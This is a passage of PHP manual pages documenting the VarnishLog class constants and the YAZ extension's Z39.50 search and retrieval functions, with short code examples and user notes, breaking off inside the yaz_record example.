const integer TAG_VCL_call = 37 ;
const integer TAG_VCL_trace = 38 ;
const integer TAG_VCL_return = 39 ;
const integer TAG_VCL_error = 40 ;
const integer TAG_ReqStart = 41 ;
const integer TAG_Hit = 42 ;
const integer TAG_HitPass = 43 ;
const integer TAG_ExpBan = 44 ;
const integer TAG_ExpKill = 45 ;
const integer TAG_WorkThread = 46 ;
const integer TAG_ESI_xmlerror = 47 ;
const integer TAG_Hash = 48 ;
const integer TAG_Backend_health = 49 ;
const integer TAG_VCL_Log = 50 ;
const integer TAG_Gzip = 51 ;
/* Methods */
public __construct ([ array $args ] )
public array getLine ( void )
public static string getTagName ( int $index )
}

Predefined Constants

VarnishLog::TAG_Debug

VarnishLog::TAG_Error

VarnishLog::TAG_CLI

VarnishLog::TAG_StatSess

VarnishLog::TAG_ReqEnd

VarnishLog::TAG_SessionOpen

VarnishLog::TAG_SessionClose

VarnishLog::TAG_BackendOpen

VarnishLog::TAG_BackendXID

VarnishLog::TAG_BackendReuse

VarnishLog::TAG_BackendClose

VarnishLog::TAG_HttpGarbage

VarnishLog::TAG_Backend

VarnishLog::TAG_Length

VarnishLog::TAG_FetchError

VarnishLog::TAG_RxRequest

VarnishLog::TAG_RxResponse

VarnishLog::TAG_RxStatus

VarnishLog::TAG_RxURL

VarnishLog::TAG_RxProtocol

VarnishLog::TAG_RxHeader

VarnishLog::TAG_TxRequest

VarnishLog::TAG_TxResponse

VarnishLog::TAG_TxStatus

VarnishLog::TAG_TxURL

VarnishLog::TAG_TxProtocol

VarnishLog::TAG_TxHeader

VarnishLog::TAG_ObjRequest

VarnishLog::TAG_ObjResponse

VarnishLog::TAG_ObjStatus

VarnishLog::TAG_ObjURL

VarnishLog::TAG_ObjProtocol

VarnishLog::TAG_ObjHeader

VarnishLog::TAG_LostHeader

VarnishLog::TAG_TTL

VarnishLog::TAG_Fetch_Body

VarnishLog::TAG_VCL_acl

VarnishLog::TAG_VCL_call

VarnishLog::TAG_VCL_trace

VarnishLog::TAG_VCL_return

VarnishLog::TAG_VCL_error

VarnishLog::TAG_ReqStart

VarnishLog::TAG_Hit

VarnishLog::TAG_HitPass

VarnishLog::TAG_ExpBan

VarnishLog::TAG_ExpKill

VarnishLog::TAG_WorkThread

VarnishLog::TAG_ESI_xmlerror

VarnishLog::TAG_Hash

VarnishLog::TAG_Backend_health

VarnishLog::TAG_VCL_Log

VarnishLog::TAG_Gzip

Table of Contents

  • VarnishLog::__construct — Varnishlog constructor
  • VarnishLog::getLine — Get next log line
  • VarnishLog::getTagName — Get the log tag string representation by its index

User Contributed Notes

There are no user contributed notes for this page.


Varnishlog constructor

  • « VarnishLog
  • VarnishLog::getLine »
  • PHP Manual
  • VarnishLog
  • Varnishlog constructor

VarnishLog::__construct

(PECL varnish >= 0.6)

VarnishLog::__construct — Varnishlog constructor

Description

public VarnishLog::__construct ([ array $args ] )

Parameters

args

Configuration arguments. The possible keys are:

VARNISH_CONFIG_IDENT - local varnish instance ident path

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get next log line

  • « VarnishLog::__construct
  • VarnishLog::getTagName »
  • PHP Manual
  • VarnishLog
  • Get next log line

VarnishLog::getLine

(PECL varnish >= 0.6)

VarnishLog::getLine — Get next log line

Description

public array VarnishLog::getLine ( void )

Parameters

This function has no parameters.

Return Values

Returns an array with the log line data.

User Contributed Notes

There are no user contributed notes for this page.


Get the log tag string representation by its index

  • « VarnishLog::getLine
  • YAZ »
  • PHP Manual
  • VarnishLog
  • Get the log tag string representation by its index

VarnishLog::getTagName

(PECL varnish >= 0.6)

VarnishLog::getTagName — Get the log tag string representation by its index

Description

public static string VarnishLog::getTagName ( int $index )

Parameters

index

Log tag index.

Return Values

Returns the log tag name as string.

User Contributed Notes

There are no user contributed notes for this page.


YAZ

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • YAZ Functions
    • yaz_addinfo — Returns additional error information
    • yaz_ccl_conf — Configure CCL parser
    • yaz_ccl_parse — Invoke CCL Parser
    • yaz_close — Close YAZ connection
    • yaz_connect — Prepares for a connection to a Z39.50 server
    • yaz_database — Specifies the databases within a session
    • yaz_element — Specifies Element-Set Name for retrieval
    • yaz_errno — Returns error number
    • yaz_error — Returns error description
    • yaz_es_result — Inspects Extended Services Result
    • yaz_es — Prepares for an Extended Service Request
    • yaz_get_option — Returns value of option for connection
    • yaz_hits — Returns number of hits for last search
    • yaz_itemorder — Prepares for Z39.50 Item Order with an ILL-Request package
    • yaz_present — Prepares for retrieval (Z39.50 present)
    • yaz_range — Specifies a range of records to retrieve
    • yaz_record — Returns a record
    • yaz_scan_result — Returns Scan Response result
    • yaz_scan — Prepares for a scan
    • yaz_schema — Specifies schema for retrieval
    • yaz_search — Prepares for a search
    • yaz_set_option — Sets one or more options for connection
    • yaz_sort — Sets sorting criteria
    • yaz_syntax — Specifies the preferred record syntax for retrieval
    • yaz_wait — Wait for Z39.50 requests to complete

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension offers a PHP interface to the YAZ toolkit that implements the » Z39.50 Protocol for Information Retrieval. With this extension you can easily implement a Z39.50 origin (client) that searches or scans Z39.50 targets (servers) in parallel.

The module hides most of the complexity of Z39.50 so it should be fairly easy to use. It supports persistent stateless connections very similar to those offered by the various RDB APIs that are available for PHP. This means that sessions are stateless but shared among users, thus saving the connect and initialize phase steps in most cases.

YAZ is available at » http://www.indexdata.dk/yaz/. You can find news information, example scripts, etc. for this extension at » http://www.indexdata.dk/phpyaz/.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.0.0.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Obtain YAZ (ANSI/NISO Z39.50 support) and install it. YAZ can be fetched in source or in various prebuilt packages from the » YAZ archive. Systems such as Debian GNU/Linux, Suse Linux, FreeBSD also has YAZ as part of their distribution.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/yaz

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Note: Information specific to Windows users

php_yaz.dll depends on yaz.dll. The yaz.dll is part of the Win32 ZIP from the PHP site. It is also part of the Windows YAZ install available from the » YAZ WIN32 area.

On windows, don't forget to add the PHP directory to the PATH, so that the yaz.dll file can be found by the system.

Warning

The IMAP, recode, YAZ and Cyrus extensions cannot be used in conjuction, because they share the same internal symbols. Note: Yaz 2.0 and above does not suffer from this problem.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

YAZ configuration options
Name | Default | Changeable | Changelog
yaz.max_links | "100" | PHP_INI_ALL | Available since PHP 4.3.0. Removed in PHP 5.0.0.
yaz.log_file | NULL | PHP_INI_ALL | Available since PHP 4.3.0. Removed in PHP 5.0.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.


Examples

PHP/YAZ keeps track of connections with targets (Z-Associations). A resource represents a connection to a target.

The script below demonstrates the parallel searching feature of the API. When invoked with no arguments it prints a query form; else (arguments are supplied) it searches the targets as given in array host.

Example #1 Parallel searching using Yaz

<?php
$host=$_REQUEST[host];
$query=$_REQUEST[query];
$num_hosts = count($host);
if (empty($query) || count($host) == 0) {
    echo '<form method="get">
    <input type="checkbox"
    name="host[]" value="bagel.indexdata.dk/gils" />
        GILS test
    <input type="checkbox"
    name="host[]" value="localhost:9999/Default" />
        local test
    <input type="checkbox" checked="checked"
    name="host[]" value="z3950.loc.gov:7090/voyager" />
        Library of Congress
    <br />
    RPN Query:
    <input type="text" size="30" name="query" />
    <input type="submit" name="action" value="Search" />
    </form>
    ';
} else {
    echo 'You searched for ' . htmlspecialchars($query) . '<br />';
    for ($i = 0; $i < $num_hosts; $i++) {
        $id[] = yaz_connect($host[$i]);
        yaz_syntax($id[$i], "usmarc");
        yaz_range($id[$i], 1, 10);
        yaz_search($id[$i], "rpn", $query);
    }
    yaz_wait();
    for ($i = 0; $i < $num_hosts; $i++) {
        echo '<hr />' . $host[$i] . ':';
        $error = yaz_error($id[$i]);
        if (!empty($error)) {
            echo "Error: $error";
        } else {
            $hits = yaz_hits($id[$i]);
            echo "Result Count $hits";
        }
        echo '<dl>';
        for ($p = 1; $p <= 10; $p++) {
            $rec = yaz_record($id[$i], $p, "string");
            if (empty($rec)) continue;
            echo "<dt><b>$p</b></dt><dd>";
            echo nl2br($rec);
            echo "</dd>";
        }
        echo '</dl>';
    }
}
?>

User Contributed Notes

There are no user contributed notes for this page.


YAZ Functions

Table of Contents

  • yaz_addinfo — Returns additional error information
  • yaz_ccl_conf — Configure CCL parser
  • yaz_ccl_parse — Invoke CCL Parser
  • yaz_close — Close YAZ connection
  • yaz_connect — Prepares for a connection to a Z39.50 server
  • yaz_database — Specifies the databases within a session
  • yaz_element — Specifies Element-Set Name for retrieval
  • yaz_errno — Returns error number
  • yaz_error — Returns error description
  • yaz_es_result — Inspects Extended Services Result
  • yaz_es — Prepares for an Extended Service Request
  • yaz_get_option — Returns value of option for connection
  • yaz_hits — Returns number of hits for last search
  • yaz_itemorder — Prepares for Z39.50 Item Order with an ILL-Request package
  • yaz_present — Prepares for retrieval (Z39.50 present)
  • yaz_range — Specifies a range of records to retrieve
  • yaz_record — Returns a record
  • yaz_scan_result — Returns Scan Response result
  • yaz_scan — Prepares for a scan
  • yaz_schema — Specifies schema for retrieval
  • yaz_search — Prepares for a search
  • yaz_set_option — Sets one or more options for connection
  • yaz_sort — Sets sorting criteria
  • yaz_syntax — Specifies the preferred record syntax for retrieval
  • yaz_wait — Wait for Z39.50 requests to complete

User Contributed Notes

24-Oct-2005 12:00
Straightforward Steps to get PHP Yaz to work on win32:

Download latest verion of php_yaz.dll and copy to your PHP extensions directory
http://ftp.indexdata.dk/pub/phpyaz/

Download latest version of YAZ toolkit and install it
http://www.indexdata.dk/yaz/

Go to the YAZ toolkit directory
(Most likely C:\Program Files\YAZ\bin)

Copy the 4 DLL files in that folder into your win32 directory

Uncomment the "extention=php_yaz.dll;" line in php.ini

Restart your web server.

Uninstall the YAZ toolkit if you wish.
cstdenis at hotmail dot com 16-Jul-2004 03:17
For those wondering what it is:

"This standard defines a client/server based service and protocol for
Information Retrieval. It specifies procedures and formats for a client to search a
database provided by a server, retrieve database records, and perform related
information retrieval functions. The protocol addresses communication between
information retrieval applications at the client and server; it does not address interaction
between the client and the end-user."


Returns additional error information

  • « YAZ Functions
  • yaz_ccl_conf »
  • PHP Manual
  • YAZ Functions
  • Returns additional error information

yaz_addinfo

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_addinfo — Returns additional error information

Description

string yaz_addinfo ( resource $id )

Returns additional error information for the last request on the server.

With some servers, this function may return the same string as yaz_error().

Parameters

id

The connection resource returned by yaz_connect().

Return Values

A string containing additional error information or an empty string if the last operation was successful or if no additional information was provided by the server.

See Also

  • yaz_error() - Returns error description
  • yaz_errno() - Returns error number

User Contributed Notes

There are no user contributed notes for this page.


Configure CCL parser

  • « yaz_addinfo
  • yaz_ccl_parse »
  • PHP Manual
  • YAZ Functions
  • Configure CCL parser

yaz_ccl_conf

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_ccl_conf — Configure CCL parser

Description

void yaz_ccl_conf ( resource $id , array $config )

This function configures the CCL query parser for a server with definitions of access points (CCL qualifiers) and their mapping to RPN.

To map a specific CCL query to RPN afterwards call the yaz_ccl_parse() function.

Parameters

id

The connection resource returned by yaz_connect().

config

An array of configuration. Each key of the array is the name of a CCL field and the corresponding value holds a string that specifies a mapping to RPN.

The mapping is a sequence of attribute-type, attribute-value pairs. Attribute-type and attribute-value is separated by an equal sign (=). Each pair is separated by white space.

Additional information can be found on the » CCL page.

Return Values

No value is returned.

Examples

In the example below, the CCL parser is configured to support three CCL fields: ti, au and isbn. Each field is mapped to their BIB-1 equivalent. It is assumed that variable $id is the connection ID.

Example #1 CCL configuration

<?php
$fields = array(
  "ti" => "1=4",
  "au"   => "1=1",
  "isbn" => "1=7"
);
yaz_ccl_conf($id, $fields);
?>

See Also

  • yaz_ccl_parse() - Invoke CCL Parser

User Contributed Notes

quinn at indexdata dot com 06-Mar-2005 04:09
The YAZ CCL parser has extensive functionality beyond what is described here. For the full story, as well as a detailed description of the CCL language, please look at

http://www.indexdata.dk/yaz/doc/tools.tkl#CCL

The flexibility of the parser makes it easy, by setting up separate profiles for servers with different characteristics, to produce a client that performs different query mappings for different servers. Also, because you can configure operators, truncation characters, etc., in the CCL parser, it is simple to make it fit into almost any application.


Invoke CCL Parser

  • « yaz_ccl_conf
  • yaz_close »
  • PHP Manual
  • YAZ Functions
  • Invoke CCL Parser

yaz_ccl_parse

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_ccl_parse — Invoke CCL Parser

Description

bool yaz_ccl_parse ( resource $id , string $query , array &$result )

This function invokes a CCL parser. It converts a given CCL FIND query to an RPN query which may be passed to the yaz_search() function to perform a search.

To define a set of valid CCL fields call yaz_ccl_conf() prior to this function.

Parameters

id

The connection resource returned by yaz_connect().

query

The CCL FIND query.

result

If the function was executed successfully, this will be an array containing the valid RPN query under the key rpn.

Upon failure, three indexes are set in this array to indicate the cause of failure:

  • errorcode - the CCL error code (integer)

  • errorstring - the CCL error string

  • errorpos - approximate position in query of failure (integer is character position)

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 CCL Parsing

We will try to search using CCL. In the example below, $ccl is a CCL query.

<?php

yaz_ccl_conf($id, $fields);  // see example for yaz_ccl_conf
if (!yaz_ccl_parse($id, $ccl, &$cclresult)) {
    echo 'Error: ' . $cclresult["errorstring"];
} else {
    $rpn = $cclresult["rpn"];
    yaz_search($id, "rpn", $rpn);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Close YAZ connection

  • « yaz_ccl_parse
  • yaz_connect »
  • PHP Manual
  • YAZ Functions
  • Close YAZ connection

yaz_close

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_close — Close YAZ connection

Description

bool yaz_close ( resource $id )

Closes the connection given by parameter id.

Note:

This function will only close a non-persistent connection opened by setting the persistent option to FALSE with yaz_connect().

Parameters

id

The connection resource returned by yaz_connect().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • yaz_connect() - Prepares for a connection to a Z39.50 server

User Contributed Notes

There are no user contributed notes for this page.


Prepares for a connection to a Z39.50 server

  • « yaz_close
  • yaz_database »
  • PHP Manual
  • YAZ Functions
  • Prepares for a connection to a Z39.50 server

yaz_connect

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_connect — Prepares for a connection to a Z39.50 server

Description

mixed yaz_connect ( string $zurl [, mixed $options ] )

This function returns a connection resource on success, zero on failure.

yaz_connect() prepares for a connection to a Z39.50 server. This function is non-blocking and does not attempt to establish a connection - it merely prepares a connect to be performed later when yaz_wait() is called.

Note:

The » YAZ proxy is a freely available Z39.50 proxy.

Parameters

zurl

A string that takes the form host[:port][/database]. If port is omitted, port 210 is used. If database is omitted Default is used.

options

If given as a string, it is treated as the Z39.50 V2 authentication string (OpenAuth).

If given as an array, the contents of the array serves as options.

user

Username for authentication.

group

Group for authentication.

password

Password for authentication.

cookie

Cookie for session (YAZ proxy).

proxy

Proxy for connection (YAZ proxy).

persistent

A boolean. If TRUE the connection is persistent; If FALSE the connection is not persistent. By default connections are persistent.

Note:

If you open a persistent connection, you won't be able to close it later with yaz_close().

piggyback

A boolean. If TRUE piggyback is enabled for searches; If FALSE piggyback is disabled. By default piggyback is enabled.

Enabling piggyback is more efficient and usually saves a network-round-trip for first time fetches of records. However, a few Z39.50 servers do not support piggyback or they ignore element set names. For those, piggyback should be disabled.

charset

A string that specifies character set to be used in Z39.50 language and character set negotiation. Use strings such as: ISO-8859-1, UTF-8, UTF-16.

Most Z39.50 servers do not support this feature (and thus, this is ignored). Many servers use the ISO-8859-1 encoding for queries and messages. MARC21/USMARC records are not affected by this setting.

preferredMessageSize

An integer that specifies the maximum byte size of all records to be returned by a target during retrieval. See the » Z39.50 standard for more information.

Note:

This option is supported in PECL YAZ 1.0.5 or later.

maximumRecordSize

An integer that specifies the maximum byte size of a single record to be returned by a target during retrieval. This entity is referred to as Exceptional-record-size in the » Z39.50 standard.

Note:

This option is supported in PECL YAZ 1.0.5 or later.

Return Values

A connection resource on success, FALSE on error.

Changelog

Version | Description
4.1.0 | The parameter options was added.

See Also

  • yaz_close() - Close YAZ connection

User Contributed Notes

There are no user contributed notes for this page.


Specifies the databases within a session

  • « yaz_connect
  • yaz_element »
  • PHP Manual
  • YAZ Functions
  • Specifies the databases within a session

yaz_database

(PHP 4 >= 4.0.6, PECL yaz >= 0.9.0)

yaz_database — Specifies the databases within a session

Description

bool yaz_database ( resource $id , string $databases )

This function allows you to change databases within a session by specifying one or more databases to be used in search, retrieval, etc. - overriding databases specified in call to yaz_connect().

Parameters

id

The connection resource returned by yaz_connect().

databases

A string containing one or more databases. Multiple databases are separated by a plus sign +.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Specifies Element-Set Name for retrieval

  • « yaz_database
  • yaz_errno »
  • PHP Manual
  • YAZ Functions
  • Specifies Element-Set Name for retrieval

yaz_element

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_element — Specifies Element-Set Name for retrieval

Description

bool yaz_element ( resource $id , string $elementset )

This function sets the element set name for retrieval.

Call this function before yaz_search() or yaz_present() to specify the element set name for records to be retrieved.

Note:

If this function appears to have no effect, see the description of the piggybacking option in yaz_connect().

Parameters

id

The connection resource returned by yaz_connect().

elementset

Most servers support F (for full records) and B (for brief records).

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns error number

  • « yaz_element
  • yaz_error »
  • PHP Manual
  • YAZ Functions
  • Returns error number

yaz_errno

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_errno — Returns error number

Description

int yaz_errno ( resource $id )

Returns an error number for the server (last request) identified by id.

yaz_errno() should be called after network activity for each server - (after yaz_wait() returns) to determine the success or failure of the last operation (e.g. search).

Parameters

id

The connection resource returned by yaz_connect().

Return Values

Returns an error code. The error code is either a Z39.50 diagnostic code (usually a Bib-1 diagnostic) or a client side error code which is generated by PHP/YAZ itself, such as "Connect failed", "Init Rejected", etc.

See Also

  • yaz_error() - Returns error description
  • yaz_addinfo() - Returns additional error information

User Contributed Notes

There are no user contributed notes for this page.


Returns error description

  • « yaz_errno
  • yaz_es_result »
  • PHP Manual
  • YAZ Functions
  • Returns error description

yaz_error

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_error — Returns error description

Description

string yaz_error ( resource $id )

yaz_error() returns an English text message corresponding to the last error number as returned by yaz_errno().

Parameters

id

The connection resource returned by yaz_connect().

Return Values

Returns an error text message for server (last request), identified by parameter id. An empty string is returned if the last operation was successful.

See Also

  • yaz_errno() - Returns error number
  • yaz_addinfo() - Returns additional error information

User Contributed Notes

There are no user contributed notes for this page.


Inspects Extended Services Result

  • « yaz_error
  • yaz_es »
  • PHP Manual
  • YAZ Functions
  • Inspects Extended Services Result

yaz_es_result

(PHP 4 >= 4.2.0, PECL yaz >= 0.9.0)

yaz_es_result — Inspects Extended Services Result

Description

array yaz_es_result ( resource $id )

This function inspects the last returned Extended Service result from a server. An Extended Service is initiated by either yaz_item_order() or yaz_es().

Parameters

id

The connection resource returned by yaz_connect().

Return Values

Returns array with element targetReference for the reference for the extended service operation (generated and returned from the server).

See Also

  • yaz_es() - Prepares for an Extended Service Request

User Contributed Notes

There are no user contributed notes for this page.


Prepares for an Extended Service Request

  • « yaz_es_result
  • yaz_get_option »
  • PHP Manual
  • YAZ Functions
  • Prepares for an Extended Service Request

yaz_es

(PECL yaz >= 0.9.0)

yaz_es — Prepares for an Extended Service Request

Description

void yaz_es ( resource $id , string $type , array $args )

This function prepares for an Extended Service Request. Extended Services is family of various Z39.50 facilities, such as Record Update, Item Order, Database administration etc.

Note:

Many Z39.50 Servers do not support Extended Services.

The yaz_es() creates an Extended Service Request packages and puts it into a queue of operations. Use yaz_wait() to send the request(s) to the server. After completion of yaz_wait() the result of the Extended Service operation should be expected with a call to yaz_es_result().

Parameters

id

The connection resource returned by yaz_connect().

type

A string which represents the type of the Extended Service: itemorder (Item Order), create (Create Database), drop (Drop Database), commit (Commit Operation), update (Update Record), xmlupdate (XML Update). Each type is specified in the following section.

args

An array with extended service options plus package specific options. The options are identical to those offered in the C API of ZOOM C. Refer to the ZOOM » Extended Services.

Return Values

No value is returned.

Examples

Example #1 Record Update

<?php
$con = yaz_connect("myhost/database");
$args = array (
    "record" => "<gils><title>some title</title></gils>",
    "syntax" => "xml",
    "action" => "specialUpdate"
);
yaz_es($con, "update", $args);
yaz_wait();
$result = yaz_es_result($id);
?>

See Also

  • yaz_es_result() - Inspects Extended Services Result

User Contributed Notes

pol4free at yahoo dot com 09-Mar-2014 12:09
$result=yaz_es_result($id)  is wrong for is example
$result=yaz_es_result($con)


Returns value of option for connection

  • « yaz_es
  • yaz_hits »
  • PHP Manual
  • YAZ Functions
  • Returns value of option for connection

yaz_get_option

(PECL yaz >= 0.9.0)

yaz_get_option — Returns value of option for connection

Description

string yaz_get_option ( resource $id , string $name )

Returns the value of the option specified with name.

Parameters

id

The connection resource returned by yaz_connect().

name

The option name.

Return Values

Returns the value of the specified option or an empty string if the option wasn't set.

See Also

  • The description of yaz_set_option() - Sets one or more options for connection for available options

User Contributed Notes

yecarrillo at carrillovega dot com 04-Aug-2005 08:57
With Php php-4.4.0 / Yaz yaz-2.1.8, yaz_get_option() is not defined


Returns number of hits for last search

  • « yaz_get_option
  • yaz_itemorder »
  • PHP Manual
  • YAZ Functions
  • Returns number of hits for last search

yaz_hits

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_hits — Returns number of hits for last search

Description

int yaz_hits ( resource $id [, array &$searchresult ] )

yaz_hits() returns the number of hits for the last search.

Parameters

id

The connection resource returned by yaz_connect().

searchresult

Result array for detailed search result information.

Return Values

Returns the number of hits for the last search or 0 if no search was performed.

The search result array (if supplied) holds information that is returned by a Z39.50 server in the SearchResult-1 format part of a search response. The SearchResult-1 format can be used to obtain information about hit counts for various parts of the query (subquery). In particular, it is possible to obtain hit counts for the individual search terms in a query. Information for first subquery is in $array[0], second subquery in $array[1], and so forth.

searchresult members
Element | Description
id | Sub query ID2 (string)
count | Result count / hits (integer)
subquery.term | Sub query term (string)
interpretation.term | Interpretated sub query term (string)
recommendation.term | Recommended sub query term (string)

Note:

The SearchResult facility requires PECL YAZ 1.0.5 or later and YAZ 2.1.9 or later.

Note:

Very few Z39.50 implementations support the SearchResult facility.

User Contributed Notes

There are no user contributed notes for this page.


Prepares for Z39.50 Item Order with an ILL-Request package

  • « yaz_hits
  • yaz_present »
  • PHP Manual
  • YAZ Functions
  • Prepares for Z39.50 Item Order with an ILL-Request package

yaz_itemorder

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_itemorder — Prepares for Z39.50 Item Order with an ILL-Request package

Description

void yaz_itemorder ( resource $id , array $args )

This function prepares for an Extended Services request using the Profile for the Use of Z39.50 Item Order Extended Service to Transport ILL (Profile/1). See » this and the » specification.

Parameters

id

The connection resource returned by yaz_connect().

args

Must be an associative array with information about the Item Order request to be sent. The key of the hash is the name of the corresponding ASN.1 tag path. For example, the ISBN below the Item-ID has the key item-id,ISBN.

The ILL-Request parameters are:

protocol-version-num
transaction-id,initial-requester-id,person-or-institution-symbol,person
transaction-id,initial-requester-id,person-or-institution-symbol,institution
transaction-id,initial-requester-id,name-of-person-or-institution,name-of-person
transaction-id,initial-requester-id,name-of-person-or-institution,name-of-institution
transaction-id,transaction-group-qualifier
transaction-id,transaction-qualifier
transaction-id,sub-transaction-qualifier
service-date-time,this,date
service-date-time,this,time
service-date-time,original,date
service-date-time,original,time
requester-id,person-or-institution-symbol,person
requester-id,person-or-institution-symbol,institution
requester-id,name-of-person-or-institution,name-of-person
requester-id,name-of-person-or-institution,name-of-institution
responder-id,person-or-institution-symbol,person
responder-id,person-or-institution-symbol,institution
responder-id,name-of-person-or-institution,name-of-person
responder-id,name-of-person-or-institution,name-of-institution
transaction-type
delivery-address,postal-address,name-of-person-or-institution,name-of-person
delivery-address,postal-address,name-of-person-or-institution,name-of-institution
delivery-address,postal-address,extended-postal-delivery-address
delivery-address,postal-address,street-and-number
delivery-address,postal-address,post-office-box
delivery-address,postal-address,city
delivery-address,postal-address,region
delivery-address,postal-address,country
delivery-address,postal-address,postal-code
delivery-address,electronic-address,telecom-service-identifier
delivery-address,electronic-address,telecom-service-addreess
billing-address,postal-address,name-of-person-or-institution,name-of-person
billing-address,postal-address,name-of-person-or-institution,name-of-institution
billing-address,postal-address,extended-postal-delivery-address
billing-address,postal-address,street-and-number
billing-address,postal-address,post-office-box
billing-address,postal-address,city
billing-address,postal-address,region
billing-address,postal-address,country
billing-address,postal-address,postal-code
billing-address,electronic-address,telecom-service-identifier
billing-address,electronic-address,telecom-service-addreess
ill-service-type
requester-optional-messages,can-send-RECEIVED
requester-optional-messages,can-send-RETURNED
requester-optional-messages,requester-SHIPPED
requester-optional-messages,requester-CHECKED-IN
search-type,level-of-service
search-type,need-before-date
search-type,expiry-date
search-type,expiry-flag
place-on-hold
client-id,client-name
client-id,client-status
client-id,client-identifier
item-id,item-type
item-id,call-number
item-id,author
item-id,title
item-id,sub-title
item-id,sponsoring-body
item-id,place-of-publication
item-id,publisher
item-id,series-title-number
item-id,volume-issue
item-id,edition
item-id,publication-date
item-id,publication-date-of-component
item-id,author-of-article
item-id,title-of-article
item-id,pagination
item-id,ISBN
item-id,ISSN
item-id,additional-no-letters
item-id,verification-reference-source
copyright-complicance
retry-flag
forward-flag
requester-note
forward-note

There are also a few parameters that are part of the Extended Services Request package and the ItemOrder package:

package-name
user-id
contact-name
contact-phone
contact-email
itemorder-item

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Prepares for retrieval (Z39.50 present)

  • « yaz_itemorder
  • yaz_range »
  • PHP Manual
  • YAZ Functions
  • Prepares for retrieval (Z39.50 present)

yaz_present

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_present — Prepares for retrieval (Z39.50 present)

Description

bool yaz_present ( resource $id )

This function prepares for retrieval of records after a successful search.

The yaz_range() function should be called prior to this function to specify the range of records to be retrieved.

Parameters

id

The connection resource returned by yaz_connect().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Specifies a range of records to retrieve

  • « yaz_present
  • yaz_record »
  • PHP Manual
  • YAZ Functions
  • Specifies a range of records to retrieve

yaz_range

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_range — Specifies a range of records to retrieve

Description

void yaz_range ( resource $id , int $start , int $number )

Specifies a range of records to retrieve.

This function should be called before yaz_search() or yaz_present().

Parameters

id

The connection resource returned by yaz_connect().

start

Specifies the position of the first record to be retrieved. The records numbers goes from 1 to yaz_hits().

number

Specifies the number of records to be retrieved.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Returns a record

  • « yaz_range
  • yaz_scan_result »
  • PHP Manual
  • YAZ Functions
  • Returns a record

yaz_record

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_record — Returns a record

Description

string yaz_record ( resource $id , int $pos , string $type )

The yaz_record() function inspects a record in the current result set at the position specified by parameter pos.

Parameters

id

The connection resource returned by yaz_connect().

pos

The record position. Records positions in a result set are numbered 1, 2, ... $hits where $hits is the count returned by yaz_hits().

type

The type specifies the form of the returned record.

Note:

It is the application which is responsible for actually ensuring that the records are returned from the Z39.50/SRW server in the proper format. The type given only specifies a conversion to take place on the client side (in PHP/YAZ).

Besides conversion of the transfer record to a string/array, PHP/YAZ it is also possible to perform a character set conversion of the record. Especially for USMARC/MARC21 that is recommended since these are typically returned in the character set MARC-8 that is not supported by browsers, etc. To specify a conversion, add ; charset=from, to where from is the original character set of the record and to is the resulting character set (as seen by PHP).

string

The record is returned as a string for simple display. In this mode, all MARC records are converted to a line-by-line format since ISO2709 is hardly readable. XML records and SUTRS are returned in their original format. GRS-1 are returned in a (ugly) line-by-line format.

This format is suitable if records are to be displayed in a quick way - for debugging - or because it is not feasible to perform proper display.

xml

The record is returned as an XML string if possible. In this mode, all MARC records are converted to » MARCXML. XML records and SUTRS are returned in their original format. GRS-1 is not supported.

This format is similar to string except that MARC records are converted to MARCXML

This format is suitable if records are processed by an XML parser or XSLT processor afterwards.

raw

The record is returned as a string in its original form. This type is suitable for MARC, XML and SUTRS. It does not work for GRS-1.

MARC records are returned as a ISO2709 string. XML and SUTRS are returned as strings.

syntax

The syntax of the record is returned as a string, i.e. USmarc, GRS-1, XML, etc.

database

The name of database associated with record at the position is returned as a string.

array

The record is returned as an array that reflects the GRS-1 structure. This type is suitable for MARC and GRS-1. XML, SUTRS are not supported and if the actual record is XML or SUTRS an empty string will be returned.

The array returned consists of a list corresponding to each leaf/internal node of GRS-1. Each list item consists a sub list with first element path and data (if data is available).

The path which is a string holds a list of each tree component (of the structured GRS-1 record) from root to leaf. Each component is a tag type, tag value pair of the form (type, value

String tags normally has a corresponding tag type 3. MARC can also be returned as an array (they are converted to GRS-1 internally).

Return Values

Returns the record at position pos or an empty string if no record exists at the given position.

If no database record exists at the given position an empty string is returned.

Examples

Example #1 Array for GRS-1 record

Consider this GRS-1 record:

(4,52)Robert M. Pirsig
(4,70)
      (4,90)
